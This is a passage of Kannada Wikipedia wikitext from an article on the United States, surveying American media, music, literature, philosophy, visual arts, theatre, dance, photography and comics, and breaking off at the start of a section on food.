ಪ್ರತಿದಿನಕ್ಕೆ ಎರಡೂವರೆ ಗಂಟೆಗಳಷ್ಟು ಕಾಲ ಕೇಳುತ್ತಾರೆ. ಇದು ಕೂಡಾ ಹೆಚ್ಚಾಗಿ ವಾಣಿಜ್ಯೀಕರಣಗೊಂಡಿದೆ.<ref>{{cite web |url=http://www.emarketer.com/Article.aspx?id=1004830 |title=TV Fans Spill into Web Sites |date=2007-06-07|publisher=eMarketer |accessdate = 2007-06-10}}</ref> ಇನ್ನೊಂದು ಹಂತದಲ್ಲಿ [[ಅಂತರ್ಜಾಲ ಪ್ರವೇಶದ್ವಾರ|ಅಂತರ್ಜಾಲ ದ್ವಾರ]]ಗಳು ಮತ್ತು [[ಅಂತರ್ಜಾಲ ಹುಡುಕಾಟ ಯಂತ್ರ|ಅಂತರ್ಜಾಲ ಹುಡುಕುವ ಸಾಧನ]]ಗಳಿವೆ. ಜನಪ್ರಿಯವಾದ ಜಲತಾಣಗಳೆಂದರೆ [[ಫೇಸ್‌ಬುಕ್|ಫೇಸ್‌ಬುಕ್‌]], [[ಯೂಟ್ಯೂಬ್‌|ಯೂಟ್ಯೂಬ್]], [[ಮೈಸ್ಪೇಸ್]], [[ವಿಕಿಪೀಡಿಯಾ]], [[ಕ್ರೇಗ್ಸ್‌ಲಿಸ್ಟ್|ಕ್ರೇಗ್ಲಿಸ್ಟ್]] ಮತ್ತು [[ಈಬೇ]]ಗಳಾಗಿವೆ.<ref name="alexa-topsitesus">{{cite web |url=http://www.alexa.com/topsites/countries/US |title=Top Sites in United States |year=2009 |publisher=Alexa |accessdate=2009-05-01 |archive-date=2016-04-09 |archive-url=https://web.archive.org/web/20160409001248/http://www.alexa.com/topsites/countries/US |url-status=dead }}</ref> [[ಅಫ್ರಿಕನ್ ಅಮೆರಿಕದ ಸಂಗೀತ|ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ಸಂಗೀತ]]ದ ಲಯ ಮತ್ತು ಸಾಹಿತ್ಯ ಶೈಲಿಯು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂಗೀತ|ಅಮೆರಿಕನ್ ಸಂಗೀತ]]ದ ಮೇಲೆ ಗಂಭೀರವಾಗಿ ಪ್ರಭಾವ ಬೀರಿದೆ. ಅಲ್ಲದೆ ಇದು ಯುರೋಪಿಯನ್ ಸಂಪ್ರದಾಯಗಳಿಂದ ವಿಭಿನ್ನವಾಗಿದೆ.[[ಜನಪದ ಸಂಗೀತ|ಜನಪದ]] ಮತ್ತು [[ಬ್ಲೂಸ್|ಬ್ಲೂಸ್‌]]ಗಳಿಂದ ತೆಗೆದುಕೊಳ್ಳಲ್ಪಟ್ಟ ನುಡಿಗಟ್ಟುಗಳು ಈಗ [[ಹಳೆ ಕಾಲದ ಸಂಗೀತ]] ಎಂದು ಕರೆಯಲ್ಪಡುತ್ತಿದ್ದ ಅವು ಜಾಗತಿಕ ಮಟ್ಟದ ಕೇಳುಗರನ್ನು ಅನುಸರಿಸಿ [[ಪ್ರಸಿದ್ಧ ಸಂಗೀತ|ಪ್ರಸಿದ್ಧ ಪ್ರಕಾರ]]ಗಳಾಗಿ ಮಾರ್ಪಡಿಸಲಾಗಿದೆ. [[ಜಾಝ್]] ಸಂಗೀತವು ಇಪ್ಪತ್ತನೇ ಶತಮಾನದಲ್ಲಿ ಅನ್ವೇಷಕರಾದ [[ಲುಯಿಸ್ ಆರ್ಮ್‌ಸ್ಟ್ರಾಂಗ್|ಲೂಯಿಸ್ ಆರ್ಮ್‌ಸ್ಟ್ರಾಂಗ್]] ಮತ್ತು [[ಡ್ಯುಕ್ ಎಲ್ಲಿಂಗ್‌ಟ‌ನ್|ಡ್ಯೂಕ್‌ ಎಲ್ಲಿಂಗ್ಟನ್‌]]ರವರಿಂದ ಅಭಿವೃದ್ಧಿಗೊಂಡಿತು 1920 ಮತ್ತು 1950ರ ಮಧ್ಯೆ [[ದೇಶಿಯ ಸಂಗೀತ|ದೇಶಿಯ ಸಂಗೀತ]]ವಾದ [[ಲಯ ಮತ್ತು ಬ್ಲೂ|ರಿದಮ್‌ ಮತ್ತು ಬ್ಲ್ಯೂ]], [[ರಾಕ್ ಅಂಡ್ ರೋಲ್|ರಾಕ್ ಅಂಡ್ ರೋಲ್ ]]ಗಳು ಹುಟ್ಟಿಕೊಂಡವು.1960ರ ಸಮಯದಲ್ಲಿ [[ಬಾಬ್ ಡೈಲಾನ್|ಬಾಬ್‌ ಡೈಲನ್‌]] ಇವರು [[ಅಮೆರಿಕದ ಜನಪದ ಸಂಗೀತದ ಪುನಶ್ಚೇತನ|ಜನಪದ ಸಂಗೀತ ಮೂಲ]]ದಿಂದ ಬೆಳೆದು ಅಮೇರಿಕಾದ ಪ್ರಸಿದ್ಧ ಗೀತ ಬರಹಗಾರರಾದರು ಹಾಗೂ [[ಜೇಮ್ಸ್ ಬ್ರೌನ್|ಜೇಮ್ಸ್‌ ಬ್ರೌನ್‌]] [[ಹೆದರಿಕೆ|ಫಂಕ್‌]] ಸಂಗೀತ ಬೆಳವಣಿಗೆಗೆ ಕಾರಣರಾದರು. ತೀರಾ ಇತ್ತೀಚಿನ ಅಮೆರಿಕದ ಸಂಯೋಜನೆಗಳು ಹಿಪ್ ಹಾಪ್ ಮತ್ತು ಹೌಸ್ ಸಂಗೀತವನ್ನು ಆಯೊಜಿಸಿವೆ. ಅಮೆರಿಕದ ಪಾಪ್ ತಾರೆಗಳಾದ [[ಎಲ್ವಿಸ್ ಪ್ರೆಸ್ಲಿ|ಎಲ್ವಿಸ್ ಪ್ರೆಸ್ಲೇ]], [[ಮೈಕಲ್ ಜಾಕ್‌ಸನ್|ಮೈಕೆಲ್ ಜಾಕ್ಸನ್]] ಮತ್ತು [[ಮಡೋನಾ(ಮನೋರಂಜಕಿ)|ಮಡೋನ್ನಾ]]ರವರು ಜಾಗತಿಕ ಪ್ರಸಿದ್ಧರು.<ref>ಬಿಡಲ್, ಜುಲಿಯನ್ (2001). ''ವಾಟ್ ವಾಸ್ ಹಾಟ್!: ಫೈವ್ ಡಿಕೇಡ್ಸ್ ಆಫ್ ಪಾಪ್ ಕಲ್ಛರ್ ಇನ್ ಅಮೆರಿಕಾ'' . ನ್ಯೂಯಾರ್ಕ್: ಸಿಟಾಡೆಲ್, p. ix. ISBN 0-8065-2311-5.</ref> === ಸಾಹಿತ್ಯ, ತತ್ವಶಾಸ್ತ್ರ ಮತ್ತು ಕಲೆ === {{Main|American literature|American philosophy|Visual arts of the United States|Theater in the United States|American classical music}} [[ಚಿತ್ರ:Kerouac by Palumbo.jpg|thumb| ವ್ರೈಟರ್ ಜ್ಯಾಕ್ ಕೆರೊವಾಕ್, ಬೀಟ್ ಜನರೇಶನ್‌ನ ಜನಪ್ರಿಯ ವ್ಯಕ್ತಿ]] ಹದಿನೆಂಟನೇ ಮತ್ತು ಹತ್ತೊಂಬತ್ತನೇ ಶತಮಾನದ ಅಮೆರಿಕದ ಕಲೆ ಮತ್ತು ಸಾಹಿತ್ಯವು ಯುರೋಪ್‌ನಿಂದ ಪ್ರಭಾವಿತವಾದದ್ದು. [[ನ್ಯಾಥನೀಲ್ ಹಾಥೊರ್ಮ್|ನ್ಯಾಥನೀಲ್ ಹಾವ್‌ಥೊರ್ನ್‌]], [[ಎಡ್ಗರ್ ಅಲ್ಲೆನ್ ಪೊಯಿ|ಎಡ್ಗರ್‍ ಅಲೆನ್‌ ಪೋ]] ಮತ್ತು [[ಹೆನ್ರಿ ಡೇವಿಡ್ ಥೊರಿಯು|ಹೆನ್ರಿ ಡೇವಿಡ್ ಥೋರಿಯೋ]]ರವರು ಹತ್ತೊಂಭತ್ತನೇ ದಶಕದ ಮಧ್ಯ ಭಾಗದಲ್ಲಿ ಅಮೇರಿಕದ ವಿಶೇಷ ಸಾಹಿತ್ಯಿಕ ಧ್ವನಿಯನ್ನು ಹೊರಡಿಸಿದರು. ದಶಕದ ಉತ್ತರಾರ್ಧದಲ್ಲಿ [[ಮಾರ್ಕ್ ಟ್ವೈನ್]] ಮತ್ತು [[ವಾಲ್ಟ್ ವಿಟ್‍ಮ್ಯಾನ್|ವಾಲ್ಟ್ ವೈಟ್‌ಮನ್‌]]ರವರು ಮುಖ್ಯ ವ್ಯಕ್ತಿಗಳು. [[ಎಮಿಲಿ ಡಿಕನ್ಸನ್|ಎಮಿಲಿ ಡಿಕನ್ಸನ್‌]]ರವರು ತಮ್ಮ ಜೀವಿತಾವಧಿಯಲ್ಲಿ ಅನಾಮಿಕಾಗಿದ್ದರು. ಈಗ ಅವರನ್ನು ಅಮೆರಿಕದ ವಿಶೇಷವಾದ ಕವಿ ಎಂದು ಗುರುತಿಸಲಾಗಿದೆ.<ref>[[ಹರಾಲ್ಡ್‌ ಬ್ಲೂಮ್|ಬ್ಲೂಮ್, ಹೆರಾಲ್ಡ್]]. 1999. ''ಎಮಿಲಿ ಡಿಕನ್ಸನ್'' . ಬ್ರೂಮಾಲ್, PA: ಚೆಲ್ಸಿಯಾ ಹೌಸ್ ಪಬ್ಲಿಶರ್ಸ್. p. 9. ISBN 0-7910-5106-4.</ref> ರಾಷ್ಟ್ರೀಯ ಅನುಭವ ಮತ್ತು ಗುಣಲಕ್ಷಣಗಳ ಮೂಲಭೂತ ವಿಚಾರಗಳನ್ನು ಹಿಡಿದಿಟ್ಟ [[ಹೆರ್‍ಮನ್ ಮೆಲ್‍ವಿಲ್ಲೆ|ಹರ್ಮನ್ ಮೆಲ್ವಿಲ್ಲೆ]]ಯವರ ''[[ಮೊಬಿ-ಡಿಕ್|ಮೊಬಿಡಿಕ್]] '' (1851), ಟ್ವೈನ್‌ರವರ ''[[ಹುಕ್ಲೆಬೆರಿ ಫಿನ್‌ನ ಅನ್ವೇಷಣೆಗಳು|ದಿ ಅಡ್ವೆಂಚರ್ಸ್ ಆಫ್ ಹಕ್ಲೆಬೆರ್ರಿ ಫಿನ್]]'' (1885), ಮತ್ತು [[ಎಫ್‌. ಸ್ಕಾಟ್‌ ಫಿಟ್ಸ್‌ಗೆರಾಲ್ಡ್‌|ಎಫ್. ಸ್ಕಾಟ್ ಫಿಡ್ಜೆರಾಲ್ಡ್‌]]ರವರ ''[[ಗ್ರೇಟ್ ಗ್ಯಾಟ್ಸ್ ಬಿ|ದಿ ಗ್ರೇಟ್ ಗಾಟ್ಸ್‌ಬಿ]]'' (1925) ಇವುಗಳು [[ಅಮೆರಿಕದ ಮಹಾಕಾದಂಬರಿ|ಅಮೆರಿಕದ ಉತ್ತಮ ಕಾದಂಬರಿ]] ಎಂದು ಕರೆಸಿಕೊಂಡಿವೆ. ತೀರಾ ಇತ್ತೀಚೆಗೆ 1993ರಲ್ಲಿ [[ಟೊನಿ ಮಾರಿಸನ್|ಟೋನಿ ಮಾರಿಸನ್‌]]ರವರನ್ನೊಳಗೊಂಡು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹನ್ನೊಂದು ನಾಗರಿಕರು [[ಸಾಹಿತ್ಯದಲ್ಲಿ ನೊಬಲ್ ಬಹುಮಾನ|ಸಾಹಿತ್ಯಕ್ಕೆ ನೊಬೆಲ್ ಪಾರಿತೋಷಕ]]ವನ್ನು ಪಡೆದಿದ್ದಾರೆ. 1954ರಲ್ಲಿ ನೊಬೆಲ್ ಪಾರಿತೋಷಕ ಭೂಷಿತ [[ಎರ್ನೆಸ್ಟ್ ಹೇಮಿಂಗ್ವೇ|ಅರ್ನೆಸ್ಟ್ ಹೆಮಿಂಗ್ವೇ]]ಯವರನ್ನು ಇಪ್ಪತ್ತನೇ ಶತಮಾನದ ಅತ್ಯಂತ ಪ್ರಭಾವಶಾಲೀ ಲೇಖಕ ಎಂದು ಕರೆಯಲಾಗಿದೆ.<ref>ಮೇಯರ್ಸ್, ಜೆಫ್ರಿ (1999). ''ಹಮಿಂಗ್ವೇ: ಎ ಬಯಾಗ್ರಫಿ'' . ನ್ಯೂಯಾರ್ಕ್: ಡಾ ಕೆಪೋ, p. 139. ISBN 0-306-80890-0.</ref> ಜನಪ್ರಿಯ ಸಾಹಿತ್ಯ ಶೈಲಿಯಾದ [[ಪಾಶ್ಚಿಮಾತ್ಯ ಕಾದಂಬರಿ|ಪಾಶ್ಚಿಮಾತ್ಯ]] ಮತ್ತು [[ಹಾರ್ಡ್‌ಬಾಯ್‌ಲ್ಡ್|ಅತಿರಂಜಿತ ಪತ್ತೇದಾರಿ ಕಾದಂಬರಿ]]ಯು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬೆಳವಣಿಗೆಯನ್ನು ಕಂಡಿತು. [[ಬೀಟ್ ಜನರೇಶನ್|ಸ್ಪಂದನ ಸಂತತಿ]]ಯ ಲೇಖಕರಾದಂತಹ [[ಆಧುನಿಕೋತ್ತರ ಸಾಹಿತ್ಯ|ನವಪೂರ್ವಿಕ]] [[ಜಾನ್ ಬಾರ್ಥ್|ಜಾನ್ ಬಾರ್ತ್]], [[ಥಾಮಸ್ ಪಿಂಕೊನ್|ಥಾಮಸ್ ಪಿನ್ಕಾನ್]] ಮತ್ತು [[ಡಾನ್ ಡೆಲಿಲ್ಲೋ]]ರವರು ಹೊಸ ಸಾಹಿತ್ಯವನ್ನು ಬೆಳಕಿಗೆ ತಂದರು. [[ಇಂದ್ರಿಯಾತೀತವಾದ|ಅಜ್ಞೇಯವಾದಿ]]ಗಳಾದ ಥೊರಿಯೊ ಮತ್ತು [[ರಾಲ್ಪ್ ವಾಲ್ದೋ ಎಮರ್‌ಸನ್|ರಾಲ್ಫ್ ವಾಲ್ಡೋ ಎಮರ್ಸನ್‌]]ರವರು ಅಮೆರಿಕದ ಮೊದಲ [[ಅಧ್ಯಾತ್ಮಿಕ ಚಳುವಳಿ|ತಾತ್ವಿಕ ಚಳುವಳಿ]]ಯನ್ನು ಹುಟ್ಟುಹಾಕಿದರು. ಆಂತರಿಕ ಯುದ್ಧದ ನಂತರದಲ್ಲಿ [[ಚಾರ್ಲ್ಸ್ ಸ್ಯಾಂಡರ್ಸ್ ಪಿಯರ್ಸ್|ಚಾರ್ಲ್ಸ್ ಸ್ಯಾಂಡರ್ಸ್ ಪೀಯರ್ಸ್]] ಮತ್ತು ತದನಂತರ [[ವಿಲಿಯಮ್ ಜೇಮ್ಸ್]] ಹಾಗೂ [[ಜಾನ್ ಡೆವೆಯ್|ಜಾನ್ ಡೆವೆ]]ರವರು [[ವ್ಯಾವಹಾರಿಕ ಸಿದ್ಧಾಂತ|ಪ್ರಾಯೋಗಿಕ ದೃಷ್ಟಿ]]ಯ ಬೆಳವಣಿಗೆಯ ಮುಖ್ಯಸ್ಥರಾದರು. ಇಪ್ಪತ್ತನೇ ಶತಮಾನದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪಾಂಡಿತ್ಯಕ್ಕೆ [[ವಿಶ್ಲೇಷಣಾ ತತ್ವಶಾಸ್ತ್ರ]]ವನ್ನು [[ವಿಲಾರ್ಡ್ ವ್ಯಾನ್ ಒರ್ಮನ್ ಕ್ವೈನ್|W.V.O ಕ್ವೈನ್]] ಮತ್ತು [[ರಿಚರ್ಡ್ ರೊರ್ಟಿ|ರಿಚರ್ಡ್ ರಾರ್ಟಿ]]ಯವರು ತಂದರು [[ಜಾನ್ ರಾಲ್ಸ್|ಜಾನ್ ರಾವ್ಲ್ಸ್]] ಮತ್ತು [[ರಾಬರ್ಟ್ ನೊಜಿಕ್|ರಾಬರ್ಟ್ ನಾಝಿಕ್]] [[ರಾಜಕೀಯ ತತ್ವಶಾಸ್ತ್ರ]]ದ ಚಳುವಳಿಯ ಮುಂಚೂಣಿಯಾದರು. ದೃಶ್ಯ ಕಲೆಯಲ್ಲಿ, ಯುರೋಪಿಯನ್ [[ನೈಸರ್ಗಿಕವಾದ (ಕಲೆ)|ನೈಸರ್ಗಿಕವಾದದ]] ಸಂಪ್ರದಾಯದಲ್ಲಿ ಮಧ್ಯ ಹತ್ತೊಂಬತ್ತನೇ ಶತಮಾನದ ಚಳುವಳಿಯು [[ಹಡ್ಸನ್ ನದಿಯ ಶಾಲೆ|ಹಡ್ಸನ್ ರಿವರ್ ಸ್ಕೂಲಾ]]ಗಿತ್ತು. 1913ರಲ್ಲಿ ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿಯಲ್ಲಿ ನಡೆದ ಯುರೋಪಿಯನ್ [[ಅಧುನಿಕ ಕಲೆ|ಆಧುನಿಕ ಕಲೆ]]ಯ ಪ್ರದರ್ಶನವಾದ ಆ[[ಶಸ್ತ್ರಾಗಾರ ಪ್ರದರ್ಶನ|ರ್ಮರಿ ಪ್ರದರ್ಶನ]]ವು ಜನರನ್ನು ದಂಗುಬಡಿಸಿತು ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕಲಾ ದೃಶ್ಯಕ್ಕೆ ಪರಿವರ್ತಿಸಿತು.<ref>ಬ್ರೌನ್, ಮಿಲ್ಟನ್ ಡಬ್ಲ್ಯೂ. (1988 1963). '' ದಿ ಸ್ಟೋರಿ ಆಪ್ ದಿ ಆರ್ಮರಿ ಶೋ'' . ನ್ಯೂಯಾರ್ಕ್: ಅಬ್ಬೆವಿಲ್ಲೆ. ISBN 0-89659-795-4.</ref> ಉನ್ನತ ವ್ಯಕ್ತಿಗತ ಸಂವೇದನೆಗಳ ಪ್ರದರ್ಶನವಾದ ಹೊಸ ಶೈಲಿಯ ಪ್ರಯೋಗವನ್ನು [[ಜಾರ್ಜಿಯಾ ಒ'ಕೀಫ್ಫೇ|ಜಾರ್ಜಿಯಾ ಓಕಿಫೀ]] ಹಾಗೂ [[ಮರ್ಸ್‌ಡೆ‌ನ್ ಹಾರ್ಟ್‌ಲೆ|ಮಾರ್ಸ್‌ಡನ್ ಹಾರ್ಟ್‌ಲೀ]] ಮತ್ತಿತರು ಮಾಡಿದರು. [[ಸಾರಾಂಶ ಅಭಿವ್ಯಕ್ತವಾದ|ಅಮೂರ್ತ ಪ್ರಕಟಣಾವಾದ]]ದ [[ಜ್ಯಾಕ್ಸನ್ ಪೊಲಾಕ್|ಜಾಕ್ಸನ್ ಪೊಲ್ಲಾಕ್]] ಮತ್ತು [[ವಿಲ್ಲೆಂ ಡೆ ಕೂನಿಂಗ್|ವಿಲಿಯಮ್ ಡೆ ಕೂನಿಂಗ್]] ಹಾಗೂ [[ಆ‍ಯ್೦ಡಿ ವಾರ್‌ಹಲ್|ಆಂಡಿ ವರ್ಹೋಲ್]] ಮತ್ತು [[ರಾಯ್ ಲಿಶೆನ್‌ಸ್ಟೇಯ್ನ್|ರಾಯ್ ಲಿಶೆನ್ಸ್‌ಟೀನ್‌]]ರವರ [[ಪಾಪ್ ಕಲೆ]]ಯಂತಹ ಮುಖ್ಯ ಕಲಾ ಚಳುವಳಿಯು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ವಿಶಾಲವಾಗಿ ಬೆಳವಣಿಗೆ ಕಂಡಿತು. ಆಧುನಿಕವಾದ ಮತ್ತು ನಂತರದ [[ಅಧುನಿಕತೆಯ ನಂತರ|ಆಧುನಿಕ ಪೂರ್ವವಾದ]]ದ ಗತಿಯು ಅಮೆರಿಕದ ವಾಸ್ತುವಿನ್ಯಾಸಗಾರರಾದ [[ಫ್ರಾಂಕ್ ಲ್ಲೋಯ್ದ್ ರೈಟ್|ಫ್ರಾಂಕ್ ಲಿಯಾಯ್ಡ್ ವ್ರೈಟ್]], [[ಫಿಲಿಪ್ ಜಾನ್‌ಸನ್|ಫಿಲಿಪ್ ಜಾನ್ಸನ್]] ಮತ್ತು [[ಫ್ರಾಂಕ್ ಗೆಹ್ರಿ|ಫ್ರಾಂಕ್ ಗೆಹ್ರೆ]]ಯವರಿಂದ ಬೆಳಕಿಗೆ ಬಂತು. [[ಚಿತ್ರ:45th St theatres NYC.JPG|thumb|right| ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ವಿಶಾಲ ಹರವಿನ ರಂಗಭೂಮಿ ಜಿಲ್ಲೆಯು ಹಲವು ಪ್ರದರ್ಶನಗಳನ್ನು ನಡೆಸುವುದು]] ಅಮೆರಿಕದ ನಾಟಕರಂಗದ ಮೊಟ್ಟಮೊದಲನೇ ಮುಖ್ಯ ಪ್ರವರ್ತಕನಾದವನು ಸಂಚಾಲಕ [[ಪಿ.ಟಿ.ಬರ್ನಂ|ಪಿ.ಟಿ.ಬರುಮ್]]. ಇವರು ಸಣ್ಣದಾದ [[ಮ್ಯಾನ್‌ಹಟ್ಟನ್|ಮ್ಯಾನ್‌ಹಟನ್]] ಮನರಂಜನೆಯ ಸಂಕೀರ್ಣವನ್ನು 1841ರಲ್ಲಿ ನಿರ್ವಹಿಸಲು ಪ್ರಾರಂಭಿಸಿದರು 1870ರ ಪ್ರಾರಂಭದಲ್ಲಿ [[ಎಡ್ವರ್ಡ್ ಹ್ಯಾರಿಗನ್|ಹ್ಯಾರಿಗನ್ ಮತ್ತು ಹಾರ್ಟ್]] ಸಂಘವು ಜನಪ್ರಿಯ [[ಸಂಗೀತ ರಂಗಭೂಮಿ|ಸಂಗೀತ]] ಹಾಸ್ಯ ನಾಟಕಗಳ ಸರಣಿಯನ್ನು ನ್ಯೂಯಾರ್ಕ್‌ನಲ್ಲಿ ಪ್ರಾರಂಭಿಸಿತು. ಇಪ್ಪತ್ತನೇ ಶತಮಾನದಲ್ಲಿ ಅಧುನಿಕ ಸಂಗೀತದ ಸ್ವರೂಪವು [[ವಿಶಾಲ ಹರವಿನ ರಂಗಭೂಮಿ|ಮುಖ್ಯವಾಹಿನಿ]]ಯಲ್ಲಿ ಲೀನವಾಯಿತು. ಸಂಗೀತ ನಾಟಕದ ಹಾಡುಗಳ ನಿರ್ದೇಶಕರಾದ [[ಇರ್‍ವಿಂಗ್ ಬೆರ್ಲಿನ್|ಇರ್‌ವಿಂಗ್ ಬೆರ್ಲಿನ್]], [[ಕೂಲಿ ಪಾರ್ಟರ್|ಕೋಲ್ ಪೀಟರ್]] ಮತ್ತು [[ಸ್ಟೀಫನ್ ಸೊಂಧೀಮ್|ಸ್ಟೀಫನ್ ಸೊಂಡಿಯಮ್‌]]ರವರು [[ಸಾಂಪ್ರದಾಯಿಕ ಪಾಪ್ ಸಂಗೀತ|ಪಾಪ್ ಗುಣಮಟ್ಟ]]ದವರಾಗಿ ಹೊರಹೊಮ್ಮಿದರು ನಾಟಕಕಾರ [[ಯೋಜೀನ್ ಒ’ನೈಲ್|ಈಜೀನ್ ಓನೀಲ್‌]]ರವರು 1936ರಲ್ಲಿ ನೋಬಲ್ ಪಾರಿತೊಷಕವನ್ನು ಗಳಿಸಿದ್ದಾರೆ ಮತ್ತು ನೋಬೆಲ್ ನಾಮಾಂಕಿತರಾಗಿದ್ದ ಹಾಗೂ ಹಲವು [[ನಾಟಕಕ್ಕೆ ಪುಲಿಟ್‌ಜರ್ ಬಹುಮಾನ|ಪುಲಿಟ್ಝರ್ ಪ್ರಶಸ್ತಿ]] ಪುರಸ್ಕೃತರಾದ ಇನ್ನುಳಿದವರೆಂದರೆ [[ಟೆನ್ನಿಸ್ಸೀ ವಿಲಿಯಮ್ಸ್|ಟೆನ್ನೀಸ್ ವಿಲಿಯಂಸ್]], [[ಎಡ್ವರ್ಡ್ ಅಲ್ಬೀ]] ಮತ್ತು [[ಅಗಸ್ಟ್ ವಿಲ್‍ಸನ್|ಆಗಸ್ಟ್ ವಿಲ್ಸನ್]]. ಈ ಸಮಯದಲ್ಲಿ ವಿಶಾಲ ಪಕ್ಷಿನೋಟವನ್ನು ಹರಿಸಿದಾಗ, 1910ರಲ್ಲಿ [[ಚಾರ್ಲ್ಸ್ ಇವಿಸ್|ಚಾರ್ಲ್ಸ್ ಇವ್ಸ್‌]]ರವರ ಕಾರ್ಯದಿಂದಾಗಿ ಅವರಿಗೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮುಖ್ಯ ಶಾಸ್ತ್ರೀಯ ಸಾಂಪ್ರದಾಯಿಕ ಸಂಯೋಜಕನೆಂದು ಹೆಸರು ತಂದುಕೊಟ್ಟಿತು. ಇನ್ನುಳಿದ ಪ್ರಾಯೋಗಿಕರಾದ [[ಹೆನ್ರಿ ಕೌವೆಲ್|ಹೆನ್ರಿ ಕೋವೆಲ್]] ಮತ್ತು [[ಜಾನ್ ಕೇಜ್|ಜಾನ್ ಕೇಗ್‌]]ರವರು ಶಾಸ್ತ್ರೀಯ ಸಂಯೋಜನೆಗಳಲ್ಲಿ ಅಮೆರಿಕಕ್ಕೆ ಹೆಸರು ತಂದುಕೊಟ್ಟರು. [[ಆರೊನ್ ಕಾಪ್‌ಲ್ಯಾಂಡ್|ಆರನ್ ಕೋಪ್‌ಲ್ಯಾಂಡ್]] ಮತ್ತು [[ಜಾರ್ಜ್ ಗೆರ್ಶ್ವಿನ್|ಜಾರ್ಜ್ ಗೆರ್ಶ್ವಿನ್‌]]ರವರು ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ ಮತ್ತು ಜನಪ್ರಿಯ ಸಂಗೀತಕ್ಕೆ ಸಂಘಟಿತ ಸಂಯೋಜನೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದರು [[ನೃತ್ಯ ಸಂಯೋಜನೆ|ನೃತ್ಯಸಂಯೋಜಕ]]ರಾದ [[ಇಸಡೊರ ಡಂಕನ್|ಇಸಾಡೊರಾ ಡಂಕನ್]] ಮತ್ತು [[ಮಾರ್ಥ ಗ್ರಹಾಂ|ಮಾರ್ಥಾ ಗ್ರಹಮ್]] [[ಅಧುನಿಕ ನೃತ್ಯ|ಆಧುನಿಕ ನೃತ್ಯ]]ಕ್ಕೆ ಸಹಕರಿಸಿದರು. ಅದೇ ವೇಳೆ [[ಜಾರ್ಜ್ ಬಾಲನ್ಚಿನ್|ಜಾರ್ಜ್ ಬಲನ್‌ಶೈನ್]] ಮತ್ತು [[ಜೆರೊಮ್ ರಾಬ್ಬಿನ್ಸ್|ಜೆರೋಮ್ ರಾಬಿನ್ಸ್‌]]ರವರು ಇಪ್ಪತ್ತನೇ ಶತಮಾನದ ಬ್ಯಾಲೆಗೆ ಮುಂದಾಳುಗಳಾಗಿದ್ದರು. ಆಧುನಿಕ ಕಲಾ ಮಾಧ್ಯಮವಾದ [[ಛಾಯಚಿತ್ರಗ್ರಹಣ|ಛಾಯಾಚಿತ್ರಗ್ರಹಣ]]ದಲ್ಲಿ ಅಮೆರಿಕವು ತುಂಬ ಮುಖ್ಯವಾದುದಾಗಿದೆ. ಮುಖ್ಯ ಛಾಯಾಚಿತ್ರಗಾರರೆಂದರೆ [[ಆಲ್ಫ್ರೆಡ್ ಸ್ಟಿಗ್ಲಿಟ್ಝ್]], [[ಎಡ್ವರ್ಡ್ ಸ್ಟೆಯಿಚೆನ್|ಎಡ್ವರ್ಡ್ ಸ್ಟೆಚಿನ್]] ಮತ್ತು [[ಅನ್ಸೇಲ್ ಆಡಮ್ಸ್|ಅನ್ಸೆಲ್ ಆಡಮ್ಸ್]]. ದಿನಪತ್ರಿಕೆಯ [[ಕಾಮಿಕ್ ಸ್ಟ್ರಿಪ್|ಹಾಸ್ಯದ ಪಟ್ಟಿ]] ಮತ್ತು [[ಅಮೆರಿಕದ ಕಾಮಿಕ್ ಪುಸ್ತಕ|ಹಾಸ್ಯದ ಪುಸ್ತಕ]]ಗಳೆರಡೂ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅನ್ವೇಷಣೆಯಾಗಿದೆ. [[ಸುಪರ್ ಮ್ಯಾನ್|ಸೂಪರ್‌ಮ್ಯಾನ್]] ಎಂಬ [[ಉತ್ಕೃಷ್ಟ ನಾಯಕ|ಅತಿರಂಜಿತ ವ್ಯಕ್ತಿ]]ಯ ಹಾಸ್ಯ ಪುಸ್ತಕವು ಅಮೆರಿಕದ ಲಾಂಛನದಂತಾಗಿದೆ.<ref>{{cite book | last=Daniels | first=Les | authorlink=Les Daniels | year=1998 | title=Superman: The Complete History | page=11 | edition=1st | publisher=[[Titan Books]] | isbn=1-85286-988-7 }}</ref> === ಆಹಾರ === {{Main|Cuisine of the United States}} [[ಚಿತ್ರ:Strip Mall.jpg|thumb|right| ಮೆಕ್ಸಿಕೋದ ಮತ್ತು ಚೀನಾ ಮೂಲದ ಆಹಾರವನ್ನು ಒದಗಸುವ ಒಂದು ಅಮೆರಿಕದ ವ್ಯಾಪಾರ ಮಳಿಗೆ. ]] ಅಮೆರಿಕದ ಮುಖ್ಯವಾಹಿನಿಯ [[ಪಾಕಶಾಸ್ತ್ರ|ಪಾಕಕಲೆ]]ಯು ಪಶ್ಚಿಮ ದೇಶಗಳಿಗೆ ಹೋಲುವಂತಹುದು. [[ಗೋಧಿ]]ಯು ಮೂಲ [[ಧಾನ್ಯ|ಆಹಾರ]] ಧಾನ್ಯವಾಗಿದೆ. ಸಾಂಪ್ರದಾಯಿಕ ಪಾಕಪದ್ಧತಿಯು [[ಟರ್ಕಿ (ಹಕ್ಕಿ)|ಕೋಳಿ]], [[ಬಿಳಿ- ಬಾಲದ ಜಿಂಕೆ|ಬಿಳಿಯಬಾಲವಿರುವ ಜಿಂಕೆ]], [[ಜಿಂಕೆ ಮಾಂಸ|ಜಿಂಕೆಯ ಮಾಂಸ]], [[ಆಲೂಗಡ್ಡೆ|ಬಟಾಟೆ]], [[ಗೆಣಸು|ಸಿಹಿ ಗೆಣಸು]], [[ಮುಸುಕಿನ ಜೋಳ|ಜೋಳ]], [[ಹಣ್ಣಿನ ರಸದ ಪಾನೀಯ (ನೆಡು ತೋಪು|ಚೌ ಚೌ ಕಾಯಿ]], [[ಮ್ಯಾಪಲ್ 